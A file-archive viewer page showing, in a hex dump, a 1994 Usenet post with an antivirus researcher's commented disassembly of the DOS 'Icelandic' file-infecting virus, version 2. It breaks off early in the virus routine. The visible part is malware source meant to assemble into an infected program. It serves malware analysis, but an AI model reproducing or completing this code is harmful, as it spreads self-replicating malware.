home *** CD-ROM | disk | FTP | other *** search
open in: MacOS 8.1
extracted
|
Win98
extracted
|
DOS
extracted
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox ).
You can browse this item here: ice2.asm
Confidence Program Detection Match Type Support
100%
dexvert
Mailbox/MIME Entity (archive/mbox)
magic
Supported
100%
dexvert
Internet Message Format (text/imf)
magic
Supported
100%
dexvert
Assembly Source File (text/asm)
magic
Supported
1%
dexvert
freeCAD assembly (other/freeCADAssembly)
ext
Unsupported
1%
dexvert
Text File (text/txt)
fallback
Supported
100%
file
Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.or", ASCII text, with CRLF, LF line terminators
default
100%
TrID
E-Mail message (Var. 2)
default
100%
checkBytes
Printable ASCII
default
100%
perlTextCheck
Likely Text (Perl)
default
100%
siegfried
x-fmt/111 Plain Text File
default
100%
detectItEasy
Format: plain text[LF]
default (weak)
100%
xdgMime
application/mbox
default
hex view +--------+-------------------------+-------------------------+--------+--------+ |00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!| |00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho| |00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans| |00000030| 2e 6e 65 74 21 67 61 74 | 65 63 68 21 62 6c 6f 6f |.net!gat|ech!bloo| |00000040| 6d 2d 62 65 61 63 6f 6e | 2e 6d 69 74 2e 65 64 75 |m-beacon|.mit.edu| |00000050| 21 75 68 6f 67 2e 6d 69 | 74 2e 65 64 75 21 72 75 |!uhog.mi|t.edu!ru| |00000060| 74 67 65 72 73 21 65 6e | 67 72 2e 6f 72 73 74 2e |tgers!en|gr.orst.| |00000070| 65 64 75 21 67 61 69 61 | 2e 75 63 73 2e 6f 72 73 |edu!gaia|.ucs.ors| |00000080| 74 2e 65 64 75 21 6d 79 | 68 6f 73 74 2e 73 75 62 |t.edu!my|host.sub| |00000090| 64 6f 6d 61 69 6e 2e 64 | 6f 6d 61 69 6e 21 63 6c |domain.d|omain!cl| |000000a0| 61 69 72 20 54 75 65 20 | 4e 6f 76 20 32 39 20 30 |air Tue |Nov 29 0| |000000b0| 39 3a 35 34 3a 35 35 20 | 31 39 39 34 0a 58 72 65 |9:54:55 |1994.Xre| |000000c0| 66 3a 20 6e 65 74 63 6f | 6d 2e 63 6f 6d 20 61 6c |f: netco|m.com al| |000000d0| 74 2e 63 6f 6d 70 2e 76 | 69 72 75 73 3a 34 38 39 |t.comp.v|irus:489| |000000e0| 0a 50 61 74 68 3a 20 6e | 65 74 63 6f 6d 2e 63 6f |.Path: n|etcom.co| |000000f0| 6d 21 69 78 2e 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |m!ix.net|com.com!| |00000100| 68 6f 77 6c 61 6e 64 2e | 72 65 73 74 6f 6e 2e 61 |howland.|reston.a| |00000110| 6e 73 2e 6e 65 74 21 67 | 61 74 65 63 68 21 62 6c |ns.net!g|atech!bl| |00000120| 6f 6f 6d 2d 62 65 61 63 | 6f 6e 2e 6d 69 74 2e 65 |oom-beac|on.mit.e| |00000130| 64 75 21 75 68 6f 67 2e | 6d 69 74 2e 65 64 75 21 |du!uhog.|mit.edu!| |00000140| 72 75 74 67 65 72 73 21 | 65 6e 67 72 2e 6f 72 73 |rutgers!|engr.ors| |00000150| 74 2e 65 64 75 21 67 61 | 69 61 2e 75 63 73 2e 6f |t.edu!ga|ia.ucs.o| |00000160| 72 73 74 2e 65 64 75 21 | 6d 79 68 6f 73 74 2e 73 |rst.edu!|myhost.s| |00000170| 75 62 64 6f 6d 61 69 6e | 2e 64 6f 6d 61 69 6e 21 |ubdomain|.domain!| |00000180| 63 6c 61 69 72 0a 46 72 | 6f 6d 3a 20 63 6c 61 69 |clair.Fr|om: clai| |00000190| 72 40 6d 79 68 6f 73 74 | 2e 73 75 62 64 6f 6d 61 |r@myhost|.subdoma| |000001a0| 69 6e 2e 64 6f 6d 61 69 | 6e 20 28 54 68 65 20 43 |in.domai|n (The C| |000001b0| 6c 61 69 72 76 6f 79 61 | 6e 74 29 0a 4e 65 77 73 |lairvoya|nt).News| |000001c0| 67 72 6f 75 70 73 3a 20 | 61 6c 74 2e 63 6f 6d 70 |groups: |alt.comp| |000001d0| 2e 76 69 72 75 73 0a 53 | 75 62 6a 65 63 74 3a 20 |.virus.S|ubject: | |000001e0| 49 63 65 32 20 44 69 73 | 61 73 73 65 6d 62 6c 79 |Ice2 Dis|assembly| |000001f0| 20 62 79 20 66 2d 70 72 | 6f 74 20 61 75 74 68 6f | by f-pr|ot autho| |00000200| 72 0a 44 61 74 65 3a 20 | 32 38 20 4e 6f 76 20 31 |r.Date: |28 Nov 1| |00000210| 39 39 34 20 30 38 3a 31 | 36 3a 32 36 20 47 4d 54 |994 08:1|6:26 GMT| |00000220| 0a 4f 72 67 61 6e 69 7a | 61 74 69 6f 6e 3a 20 53 |.Organiz|ation: S| |00000230| 74 72 69 6e 67 20 74 6f | 20 70 75 74 20 69 6e 20 |tring to| put in | |00000240| 74 68 65 20 4f 72 67 61 | 6e 69 7a 61 74 69 6f 6e |the Orga|nization| |00000250| 20 48 65 61 64 65 72 0a | 4c 69 6e 65 73 3a 20 34 | Header.|Lines: 4| |00000260| 39 33 0a 4d 65 73 73 61 | 67 65 2d 49 44 3a 20 3c |93.Messa|ge-ID: <| |00000270| 33 62 63 33 6b 71 24 6d | 6a 63 40 67 61 69 61 2e |3bc3kq$m|jc@gaia.| |00000280| 75 63 73 2e 6f 72 73 74 | 2e 65 64 75 3e 0a 4e 4e |ucs.orst|.edu>.NN| |00000290| 54 50 2d 50 6f 73 74 69 | 6e 67 2d 48 6f 73 74 3a |TP-Posti|ng-Host:| |000002a0| 20 74 65 6d 70 65 73 74 | 2e 72 68 6e 2e 6f 72 73 | tempest|.rhn.ors| |000002b0| 74 2e 65 64 75 0a 58 2d | 4e 65 77 73 72 65 61 64 |t.edu.X-|Newsread| |000002c0| 65 72 3a 20 54 49 4e 20 | 5b 76 65 72 73 69 6f 6e |er: TIN |[version| |000002d0| 20 31 2e 32 20 50 4c 32 | 5d 0a 0a 0a 0d 0a 3b 20 | 1.2 PL2|].....; | |000002e0| 20 20 20 20 20 20 54 48 | 45 20 49 43 45 4c 41 4e | TH|E ICELAN| |000002f0| 44 49 43 20 56 49 52 55 | 53 20 2d 20 56 45 52 53 |DIC VIRU|S - VERS| |00000300| 49 4f 4e 20 32 0d 0a 3b | 0d 0a 3b 20 20 20 20 20 |ION 2..;|..; | |00000310| 20 20 44 69 73 61 73 73 | 65 6d 62 6c 79 20 64 6f | Disass|embly do| |00000320| 6e 65 20 69 6e 20 4a 75 | 6c 79 20 27 38 39 2e 0d |ne in Ju|ly '89..| |00000330| 0a 3b 0d 0a 3b 20 20 20 | 20 20 20 20 54 68 65 20 |.;..; | The | |00000340| 61 75 74 68 6f 72 28 73 | 29 20 6f 66 20 74 68 69 |author(s|) of thi| |00000350| 73 20 70 72 6f 67 72 61 | 6d 20 69 73 28 61 72 65 |s progra|m is(are| |00000360| 29 20 75 6e 6b 6e 6f 77 | 6e 2c 20 62 75 74 20 69 |) unknow|n, but i| |00000370| 74 20 69 73 20 6f 66 0d | 0a 3b 20 20 20 20 20 20 |t is of.|.; | |00000380| 20 49 63 65 6c 61 6e 64 | 69 63 20 6f 72 69 67 69 | Iceland|ic origi| |00000390| 6e 2e 20 0d 0a 3b 0d 0a | 3b 20 20 20 20 20 20 20 |n. ..;..|; | |000003a0| 41 6c 6c 20 63 6f 6d 6d | 65 6e 74 73 20 69 6e 20 |All comm|ents in | |000003b0| 74 68 69 73 20 66 69 6c | 65 20 77 65 72 65 20 61 |this fil|e were a| |000003c0| 64 64 65 64 20 62 79 20 | 46 72 69 64 72 69 6b 20 |dded by |Fridrik | |000003d0| 53 6b 75 6c 61 73 6f 6e | 2c 0d 0a 3b 20 20 20 20 |Skulason|,..; | |000003e0| 20 20 20 55 6e 69 76 65 | 72 73 69 74 79 20 6f 66 | Unive|rsity of| |000003f0| 20 49 63 65 6c 61 6e 64 | 2f 43 6f 6d 70 75 74 69 | Iceland|/Computi| |00000400| 6e 67 20 53 65 72 76 69 | 63 65 73 2e 0d 0a 3b 0d |ng Servi|ces...;.| |00000410| 0a 3b 20 20 20 20 20 20 | 20 49 4e 54 45 52 4e 45 |.; | INTERNE| |00000420| 54 3a 20 20 20 20 20 66 | 72 69 73 6b 40 72 68 69 |T: f|risk@rhi| |00000430| 2e 68 69 2e 69 73 20 0d | 0a 3b 20 20 20 20 20 20 |.hi.is .|.; | |00000440| 20 55 55 43 50 3a 20 20 | 20 20 20 20 20 20 20 2e | UUCP: | .| |00000450| 2e 2e 6d 63 76 61 78 21 | 68 61 66 72 6f 21 72 68 |..mcvax!|hafro!rh| |00000460| 69 21 66 72 69 73 6b 0d | 0a 3b 20 20 20 20 20 20 |i!frisk.|.; | |00000470| 20 42 49 58 3a 20 20 20 | 20 20 20 20 20 20 20 46 | BIX: | F| |00000480| 52 49 53 4b 0d 0a 3b 0d | 0a 3b 20 20 20 20 20 20 |RISK..;.|.; | |00000490| 20 54 6f 20 61 6e 79 6f | 6e 65 20 77 68 6f 20 6f | To anyo|ne who o| |000004a0| 62 74 61 69 6e 73 20 74 | 68 69 73 20 66 69 6c 65 |btains t|his file| |000004b0| 20 2d 20 70 6c 65 61 73 | 65 20 62 65 20 63 61 72 | - pleas|e be car| |000004c0| 65 66 75 6c 20 77 69 74 | 68 20 69 74 2c 20 49 0d |eful wit|h it, I.| |000004d0| 0a 3b 20 20 20 20 20 20 | 20 77 6f 75 6c 64 20 6e |.; | would n| |000004e0| 6f 74 20 6c 69 6b 65 20 | 74 6f 20 73 65 65 20 74 |ot like |to see t| |000004f0| 68 69 73 20 76 69 72 75 | 73 20 62 65 20 64 69 73 |his viru|s be dis| |00000500| 74 72 69 62 75 74 65 64 | 20 74 6f 6f 20 6d 75 63 |tributed| too muc| |00000510| 68 2e 20 54 68 65 20 63 | 6f 64 65 0d 0a 3b 20 20 |h. The c|ode..; | |00000520| 20 20 20 20 20 69 73 20 | 76 65 72 79 20 63 6c 65 | is |very cle| |00000530| 61 72 2c 20 61 6e 64 20 | 74 68 65 20 76 69 72 75 |ar, and |the viru| |00000540| 73 20 69 73 20 71 75 69 | 74 65 20 77 65 6c 6c 20 |s is qui|te well | |00000550| 77 72 69 74 74 65 6e 2e | 20 49 74 20 77 6f 75 6c |written.| It woul| |00000560| 64 20 62 65 20 56 45 52 | 59 0d 0a 3b 20 20 20 20 |d be VER|Y..; | |00000570| 20 20 20 65 61 73 79 20 | 74 6f 20 6d 6f 64 69 66 | easy |to modif| |00000580| 79 20 69 74 20 74 6f 20 | 64 6f 20 73 6f 6d 65 74 |y it to |do somet| |00000590| 68 69 6e 67 20 72 65 61 | 6c 6c 79 20 68 61 72 6d |hing rea|lly harm| |000005a0| 66 75 6c 2e 0d 0a 3b 0d | 0a 3b 20 20 20 20 20 20 |ful...;.|.; | |000005b0| 20 54 68 65 20 76 69 72 | 75 73 20 68 61 73 20 74 | The vir|us has t| |000005c0| 68 65 20 66 6f 6c 6c 6f | 77 69 6e 67 20 66 6c 61 |he follo|wing fla| |000005d0| 77 73 3a 0d 0a 3b 0d 0a | 3b 20 20 20 20 20 20 20 |ws:..;..|; | |000005e0| 20 20 20 20 20 20 20 20 | 49 74 20 6d 6f 64 69 66 | |It modif| |000005f0| 69 65 73 20 74 68 65 20 | 64 61 74 65 20 6f 66 20 |ies the |date of | |00000600| 74 68 65 20 70 72 6f 67 | 72 61 6d 20 69 74 20 69 |the prog|ram it i| |00000610| 6e 66 65 63 74 73 2c 20 | 6d 61 6b 69 6e 67 0d 0a |nfects, |making..| |00000620| 3b 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |; | | |00000630| 69 74 20 65 61 73 79 20 | 74 6f 20 73 70 6f 74 20 |it easy |to spot | |00000640| 74 68 65 6d 2e 0d 0a 3b | 0d 0a 3b 20 20 20 20 20 |them...;|..; | |00000650| 20 20 20 20 20 20 20 20 | 20 20 49 74 20 72 65 6d | | It rem| |00000660| 6f 76 65 73 20 74 68 65 | 20 52 65 61 64 2d 6f 6e |oves the| Read-on| |00000670| 6c 79 20 61 74 74 72 69 | 62 75 74 65 20 66 72 6f |ly attri|bute fro| |00000680| 6d 20 66 69 6c 65 73 2c | 20 62 75 74 20 64 6f 65 |m files,| but doe| |00000690| 73 0d 0a 3b 20 20 20 20 | 20 20 20 20 20 20 20 20 |s..; | | |000006a0| 20 20 20 6e 6f 74 20 72 | 65 73 74 6f 72 65 20 69 | not r|estore i| |000006b0| 74 2e 0d 0a 3b 0d 0a 3b | 20 20 20 20 20 20 20 54 |t...;..;| T| |000006c0| 68 69 73 20 76 65 72 73 | 69 6f 6e 20 61 70 70 65 |his vers|ion appe| |000006d0| 61 72 73 20 74 6f 20 64 | 6f 20 6e 6f 20 64 61 6d |ars to d|o no dam| |000006e0| 61 67 65 20 61 74 20 61 | 6c 6c 2e 20 54 68 69 73 |age at a|ll. This| |000006f0| 2c 20 61 6e 64 20 74 68 | 65 20 66 61 63 74 20 74 |, and th|e fact t| |00000700| 68 61 74 0d 0a 3b 20 20 | 20 20 20 20 20 74 68 65 |hat..; | the| |00000710| 20 61 75 74 68 6f 72 28 | 73 29 20 73 65 6e 74 20 | author(|s) sent | |00000720| 6d 65 20 61 20 63 6f 70 | 79 20 70 72 6f 62 61 62 |me a cop|y probab| |00000730| 6c 79 20 69 6e 64 69 63 | 61 74 65 73 20 74 68 61 |ly indic|ates tha| |00000740| 74 20 69 74 20 77 61 73 | 20 6a 75 73 74 0d 0a 3b |t it was| just..;| |00000750| 20 20 20 20 20 20 20 64 | 65 73 69 67 6e 65 64 20 | d|esigned | |00000760| 74 6f 20 64 65 6d 6f 6e | 73 74 72 61 74 65 20 74 |to demon|strate t| |00000770| 68 61 74 20 61 20 76 69 | 72 75 73 20 6c 69 6b 65 |hat a vi|rus like| |00000780| 20 74 68 69 73 20 63 6f | 75 6c 64 20 62 65 20 77 | this co|uld be w| |00000790| 72 69 74 74 65 6e 2e 0d | 0a 3b 0d 0a 3b 20 20 20 |ritten..|.;..; | |000007a0| 20 20 20 20 54 68 69 73 | 20 66 69 6c 65 20 77 61 | This| file wa| |000007b0| 73 20 63 72 65 61 74 65 | 64 20 69 6e 20 74 68 65 |s create|d in the| |000007c0| 20 66 6f 6c 6c 6f 77 69 | 6e 67 20 77 61 79 3a 20 | followi|ng way: | |000007d0| 0d 0a 3b 0d 0a 3b 20 20 | 20 20 20 20 20 49 20 64 |..;..; | I d| |000007e0| 69 73 61 73 73 65 6d 62 | 6c 65 64 20 74 68 65 20 |isassemb|led the | |000007f0| 6e 65 77 20 76 65 72 73 | 69 6f 6e 20 61 6e 64 20 |new vers|ion and | |00000800| 63 6f 6d 70 61 72 65 64 | 20 69 74 20 74 6f 20 6d |compared| it to m| |00000810| 79 20 64 69 73 61 73 73 | 65 6d 62 6c 79 0d 0a 3b |y disass|embly..;| |00000820| 20 20 20 20 20 20 20 6f | 66 20 76 65 72 73 69 6f | o|f versio| |00000830| 6e 20 23 31 2e 0d 0a 3b | 0d 0a 3b 20 20 20 20 20 |n #1...;|..; | |00000840| 20 20 41 6e 79 20 63 68 | 61 6e 67 65 73 20 66 6f | Any ch|anges fo| |00000850| 75 6e 64 20 77 65 72 65 | 20 61 64 64 65 64 20 74 |und were| added t| |00000860| 6f 20 74 68 69 73 20 66 | 69 6c 65 2e 0d 0a 3b 0d |o this f|ile...;.| |00000870| 0a 56 49 52 53 49 5a 20 | 20 45 51 55 20 20 20 20 |.VIRSIZ | EQU | |00000880| 20 31 32 38 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 | 128....| | |00000890| 41 53 53 55 4d 45 20 43 | 53 3a 5f 54 45 58 54 2c |ASSUME C|S:_TEXT,| |000008a0| 44 53 3a 4e 4f 54 48 49 | 4e 47 2c 53 53 3a 4e 4f |DS:NOTHI|NG,SS:NO| |000008b0| 54 48 49 4e 47 2c 45 53 | 3a 4e 4f 54 48 49 4e 47 |THING,ES|:NOTHING| |000008c0| 0d 0a 3b 0d 0a 3b 20 20 | 20 20 20 20 20 54 68 69 |..;..; | Thi| |000008d0| 73 20 69 73 20 61 20 64 | 75 6d 6d 79 20 22 69 6e |s is a d|ummy "in| |000008e0| 66 65 63 74 65 64 22 20 | 70 72 6f 67 72 61 6d 2c |fected" |program,| |000008f0| 20 73 6f 20 74 68 61 74 | 20 74 68 69 73 20 66 69 | so that| this fi| |00000900| 6c 65 2c 0d 0a 3b 20 20 | 20 20 20 20 20 77 68 65 |le,..; | whe| |00000910| 6e 20 61 73 73 65 6d 62 | 6c 65 64 20 28 75 73 69 |n assemb|led (usi| |00000920| 6e 67 20 4d 41 53 4d 29 | 20 77 69 6c 6c 20 70 72 |ng MASM)| will pr| |00000930| 6f 64 75 63 65 20 61 20 | 22 74 72 75 65 22 20 69 |oduce a |"true" i| |00000940| 6e 66 65 63 74 65 64 0d | 0a 3b 20 20 20 20 20 20 |nfected.|.; | |00000950| 20 70 72 6f 67 72 61 6d | 2e 0d 0a 3b 0d 0a 5f 54 | program|...;.._T| |00000960| 45 58 54 31 20 20 53 45 | 47 4d 45 4e 54 20 50 41 |EXT1 SE|GMENT PA| |00000970| 52 41 20 50 55 42 4c 49 | 43 20 27 43 4f 44 45 27 |RA PUBLI|C 'CODE'| |00000980| 0d 0a 5f 53 54 41 52 54 | 20 20 44 42 20 20 20 20 |.._START| DB | |00000990| 20 20 30 62 34 48 2c 30 | 39 48 0d 0a 20 20 20 20 | 0b4H,0|9H.. | |000009a0| 20 20 20 20 50 55 53 48 | 20 20 20 20 43 53 0d 0a | PUSH| CS..| |000009b0| 20 20 20 20 20 20 20 20 | 50 4f 50 20 20 20 20 20 | |POP | |000009c0| 44 53 0d 0a 20 20 20 20 | 20 20 20 20 4d 4f 56 20 |DS.. | MOV | |000009d0| 20 20 20 20 44 58 2c 4f | 46 46 53 45 54 20 53 54 | DX,O|FFSET ST| |000009e0| 52 49 4e 47 0d 0a 20 20 | 20 20 20 20 20 20 49 4e |RING.. | IN| |000009f0| 54 20 20 20 20 20 32 31 | 48 0d 0a 20 20 20 20 20 |T 21|H.. | |00000a00| 20 20 20 4d 4f 56 20 20 | 20 20 20 41 58 2c 34 43 | MOV | AX,4C| |00000a10| 30 30 48 0d 0a 20 20 20 | 20 20 20 20 20 49 4e 54 |00H.. | INT| |00000a20| 20 20 20 20 20 32 31 48 | 0d 0a 53 54 52 49 4e 47 | 21H|..STRING| |00000a30| 20 20 44 42 20 20 20 20 | 20 20 22 48 65 6c 6c 6f | DB | "Hello| |00000a40| 20 77 6f 72 6c 64 21 22 | 2c 30 64 68 2c 30 61 68 | world!"|,0dh,0ah| |00000a50| 2c 22 24 22 0d 0a 20 5f | 54 45 58 54 31 20 45 4e |,"$".. _|TEXT1 EN| |00000a60| 44 53 0d 0a 0d 0a 5f 54 | 45 58 54 20 53 45 47 4d |DS...._T|EXT SEGM| |00000a70| 45 4e 54 20 50 41 52 41 | 20 50 55 42 4c 49 43 20 |ENT PARA| PUBLIC | |00000a80| 27 43 4f 44 45 27 0d 0a | 0d 0a 3b 0d 0a 3b 20 20 |'CODE'..|..;..; | |00000a90| 20 20 20 20 20 54 68 65 | 20 76 69 72 75 73 20 69 | The| virus i| |00000aa0| 73 20 62 61 73 69 63 61 | 6c 6c 79 20 64 69 76 69 |s basica|lly divi| |00000ab0| 64 65 64 20 69 6e 20 74 | 77 6f 20 70 61 72 74 73 |ded in t|wo parts| |00000ac0| 2e 0d 0a 3b 0d 0a 3b 20 | 20 20 20 20 20 20 31 2e |...;..; | 1.| |00000ad0| 20 54 68 65 20 6d 61 69 | 6e 20 70 72 6f 67 72 61 | The mai|n progra| |00000ae0| 6d 20 2d 20 72 75 6e 20 | 77 68 65 6e 20 61 6e 20 |m - run |when an | |00000af0| 69 6e 66 65 63 74 65 64 | 20 70 72 6f 67 72 61 6d |infected| program| |00000b00| 20 69 73 20 72 75 6e 2e | 20 0d 0a 3b 20 20 20 20 | is run.| ..; | |00000b10| 20 20 20 20 20 20 49 74 | 20 77 69 6c 6c 20 63 68 | It| will ch| |00000b20| 65 63 6b 20 69 66 20 74 | 68 65 20 73 79 73 74 65 |eck if t|he syste| |00000b30| 6d 20 69 73 20 61 6c 72 | 65 61 64 79 20 69 6e 66 |m is alr|eady inf| |00000b40| 65 63 74 65 64 2c 20 61 | 6e 64 20 69 66 20 6e 6f |ected, a|nd if no| |00000b50| 74 0d 0a 3b 20 20 20 20 | 20 20 20 20 20 20 69 74 |t..; | it| |00000b60| 20 77 69 6c 6c 20 69 6e | 73 74 61 6c 6c 20 74 68 | will in|stall th| |00000b70| 65 20 76 69 72 75 73 2e | 0d 0a 3b 0d 0a 3b 20 20 |e virus.|..;..; | |00000b80| 20 20 20 20 20 32 2e 20 | 54 68 65 20 6e 65 77 20 | 2. |The new | |00000b90| 49 4e 54 20 32 31 20 68 | 61 6e 64 6c 65 72 2e 20 |INT 21 h|andler. | |00000ba0| 49 74 20 77 69 6c 6c 20 | 6c 6f 6f 6b 20 66 6f 72 |It will |look for| |00000bb0| 20 45 58 45 43 20 63 61 | 6c 6c 73 2c 20 61 6e 64 | EXEC ca|lls, and| |00000bc0| 0d 0a 3b 20 20 20 20 20 | 20 20 20 20 20 28 73 6f |..; | (so| |00000bd0| 6d 65 74 69 6d 65 73 29 | 20 69 6e 66 65 63 74 20 |metimes)| infect | |00000be0| 74 68 65 20 70 72 6f 67 | 72 61 6d 20 62 65 69 6e |the prog|ram bein| |00000bf0| 67 20 72 75 6e 2e 0d 0a | 3b 20 20 20 20 20 20 20 |g run...|; | |00000c00| 20 20 20 0d 0a 56 49 52 | 55 53 20 20 20 50 52 4f | ..VIR|US PRO| |00000c10| 43 20 46 41 52 0d 0a 3b | 0d 0a 3b 20 20 20 20 20 |C FAR..;|..; | |00000c20| 20 20 54 68 69 73 20 69 | 73 20 61 20 66 61 6b 65 | This i|s a fake| |00000c30| 20 4d 43 42 0d 0a 3b 0d | 0a 20 20 20 20 20 20 20 | MCB..;.|. | |00000c40| 20 44 42 20 20 20 20 20 | 20 27 5a 27 2c 30 30 2c | DB | 'Z',00,| |00000c50| 30 30 2c 56 49 52 53 49 | 5a 2c 30 2c 30 2c 30 2c |00,VIRSI|Z,0,0,0,| |00000c60| 30 2c 30 2c 30 2c 30 2c | 30 2c 30 2c 30 2c 30 2c |0,0,0,0,|0,0,0,0,| |00000c70| 30 0d 0a 3b 0d 0a 3b 20 | 20 20 20 20 20 20 54 68 |0..;..; | Th| |00000c80| 65 20 76 69 72 75 73 20 | 73 74 61 72 74 73 20 62 |e virus |starts b| |00000c90| 79 20 70 75 73 68 69 6e | 67 20 74 68 65 20 6f 72 |y pushin|g the or| |00000ca0| 69 67 69 6e 61 6c 20 73 | 74 61 72 74 20 61 64 64 |iginal s|tart add| |00000cb0| 72 65 73 73 20 6f 6e 20 | 74 68 65 20 73 74 61 63 |ress on |the stac| |00000cc0| 6b 2c 0d 0a 3b 20 20 20 | 20 20 20 20 73 6f 20 69 |k,..; | so i| |00000cd0| 74 20 63 61 6e 20 74 72 | 61 6e 73 66 65 72 20 63 |t can tr|ansfer c| |00000ce0| 6f 6e 74 72 6f 6c 20 74 | 68 65 72 65 20 77 68 65 |ontrol t|here whe| |00000cf0| 6e 20 66 69 6e 69 73 68 | 65 64 2e 0d 0a 3b 0d 0a |n finish|ed...;..| |00000d00| 4c 41 42 45 4c 31 3a 20 | 53 55 42 20 20 20 20 20 |LABEL1: |SUB | |00000d10| 53 50 2c 34 0d 0a 20 20 | 20 20 20 20 20 20 50 55 |SP,4.. | PU| |00000d20| 53 48 20 20 20 20 42 50 | 0d 0a 20 20 20 20 20 20 |SH BP|.. | |00000d30| 20 20 4d 4f 56 20 20 20 | 20 20 42 50 2c 53 50 0d | MOV | BP,SP.| |00000d40| 0a 20 20 20 20 20 20 20 | 20 50 55 53 48 20 20 20 |. | PUSH | |00000d50| 20 41 58 0d 0a 20 20 20 | 20 20 20 20 20 4d 4f 56 | AX.. | MOV| |00000d60| 20 20 20 20 20 41 58 2c | 45 53 0d 0a 3b 0d 0a 3b | AX,|ES..;..;| |00000d70| 20 20 20 20 20 20 20 50 | 75 74 20 74 68 65 20 74 | P|ut the t| |00000d80| 68 65 20 6f 72 69 67 69 | 6e 61 6c 20 43 53 20 6f |he origi|nal CS o| |00000d90| 6e 20 74 68 65 20 73 74 | 61 63 6b 2e 20 54 68 65 |n the st|ack. The| |00000da0| 20 41 44 44 20 41 58 2c | 64 61 74 61 20 69 6e 73 | ADD AX,|data ins| |00000db0| 74 72 75 63 74 69 6f 6e | 0d 0a 3b 20 20 20 20 20 |truction|..; | |00000dc0| 20 20 69 73 20 6d 6f 64 | 69 66 69 65 64 20 62 79 | is mod|ified by| |00000dd0| 20 74 68 65 20 76 69 72 | 75 73 20 77 68 65 6e 20 | the vir|us when | |00000de0| 69 74 20 69 6e 66 65 63 | 74 73 20 6f 74 68 65 72 |it infec|ts other| |00000df0| 20 70 72 6f 67 72 61 6d | 73 2e 0d 0a 3b 0d 0a 20 | program|s...;.. | |00000e00| 20 20 20 20 20 20 20 44 | 42 20 20 20 20 20 20 30 | D|B 0| |00000e10| 35 48 20 20 20 20 20 0d | 0a 4f 52 47 5f 43 53 20 |5H .|.ORG_CS | |00000e20| 20 44 57 20 20 20 20 20 | 20 30 30 31 30 48 0d 0a | DW | 0010H..| |00000e30| 20 20 20 20 20 20 20 20 | 4d 4f 56 20 20 20 20 20 | |MOV | |00000e40| 5b 42 50 2b 34 5d 2c 41 | 58 0d 0a 3b 0d 0a 3b 20 |[BP+4],A|X..;..; | |00000e50| 20 20 20 20 20 20 50 75 | 74 20 74 68 65 20 74 68 | Pu|t the th| |00000e60| 65 20 6f 72 69 67 69 6e | 61 6c 20 49 50 20 6f 6e |e origin|al IP on| |00000e70| 20 74 68 65 20 73 74 61 | 63 6b 2e 20 54 68 69 73 | the sta|ck. This| |00000e80| 20 4d 4f 56 20 5b 42 50 | 2b 32 5d 2c 64 61 74 61 | MOV [BP|+2],data| |00000e90| 20 69 6e 73 74 72 75 63 | 74 69 6f 6e 0d 0a 3b 20 | instruc|tion..; | |00000ea0| 20 20 20 20 20 20 69 73 | 20 6d 6f 64 69 66 69 65 | is| modifie| |00000eb0| 64 20 62 79 20 74 68 65 | 20 76 69 72 75 73 20 77 |d by the| virus w| |00000ec0| 68 65 6e 20 69 74 20 69 | 6e 66 65 63 74 73 20 6f |hen it i|nfects o| |00000ed0| 74 68 65 72 20 70 72 6f | 67 72 61 6d 73 2e 0d 0a |ther pro|grams...| |00000ee0| 3b 0d 0a 20 20 20 20 20 | 20 20 20 44 42 20 20 20 |;.. | DB | |00000ef0| 20 20 20 30 43 37 48 2c | 34 36 48 2c 30 32 48 0d | 0C7H,|46H,02H.| |00000f00| 0a 4f 52 47 5f 49 50 20 | 20 44 57 20 20 20 20 20 |.ORG_IP | DW | |00000f10| 20 30 30 30 30 48 0d 0a | 3b 0d 0a 3b 20 20 20 20 | 0000H..|;..; | |00000f20| 20 20 20 53 61 76 65 20 | 61 6c 6c 20 72 65 67 69 | Save |all regi| |00000f30| 73 74 65 72 73 20 74 68 | 61 74 20 61 72 65 20 6d |sters th|at are m| |00000f40| 6f 64 69 66 69 65 64 2e | 0d 0a 3b 0d 0a 20 20 20 |odified.|..;.. | |00000f50| 20 20 20 20 20 50 55 53 | 48 20 20 20 20 45 53 0d | PUS|H ES.| |00000f60| 0a 20 20 20 20 20 20 20 | 20 50 55 53 48 20 20 20 |. | PUSH | |00000f70| 20 44 53 20 20 20 20 20 | 20 0d 0a 20 20 20 20 20 | DS | .. | |00000f80| 20 20 20 50 55 53 48 20 | 20 20 20 42 58 0d 0a 20 | PUSH | BX.. | |00000f90| 20 20 20 20 20 20 20 50 | 55 53 48 20 20 20 20 43 | P|USH C| |00000fa0| 58 0d 0a 20 20 20 20 20 | 20 20 20 50 55 53 48 20 |X.. | PUSH | |00000fb0| 20 20 20 53 49 0d 0a 20 | 20 20 20 20 20 20 20 50 | SI.. | P| |00000fc0| 55 53 48 20 20 20 20 44 | 49 0d 0a 3b 0d 0a 3b 20 |USH D|I..;..; | |00000fd0| 20 20 20 20 20 20 43 68 | 65 63 6b 20 69 66 20 61 | Ch|eck if a| |00000fe0| 6c 72 65 61 64 79 20 69 | 6e 73 74 61 6c 6c 65 64 |lready i|nstalled| |00000ff0| 2e 20 51 75 69 74 20 69 | 66 20 73 6f 2e 0d 0a 3b |. Quit i|f so...;| |00001000| 0d 0a 20 20 20 20 20 20 | 20 20 58 4f 52 20 20 20 |.. | XOR | |00001010| 20 20 41 58 2c 41 58 0d | 0a 20 20 20 20 20 20 20 | AX,AX.|. | |00001020| 20 4d 4f 56 20 20 20 20 | 20 45 53 2c 41 58 0d 0a | MOV | ES,AX..| |00001030| 20 20 20 20 20 20 20 20 | 43 4d 50 20 20 20 20 20 | |CMP | |00001040| 45 53 3a 5b 33 37 46 48 | 5d 2c 42 59 54 45 20 50 |ES:[37FH|],BYTE P| |00001050| 54 52 20 30 46 46 48 20 | 0d 0a 20 20 20 20 20 20 |TR 0FFH |.. | |00001060| 20 20 4a 4e 45 20 20 20 | 20 20 4c 31 0d 0a 3b 0d | JNE | L1..;.| |00001070| 0a 3b 20 20 20 20 20 20 | 20 52 65 73 74 6f 72 65 |.; | 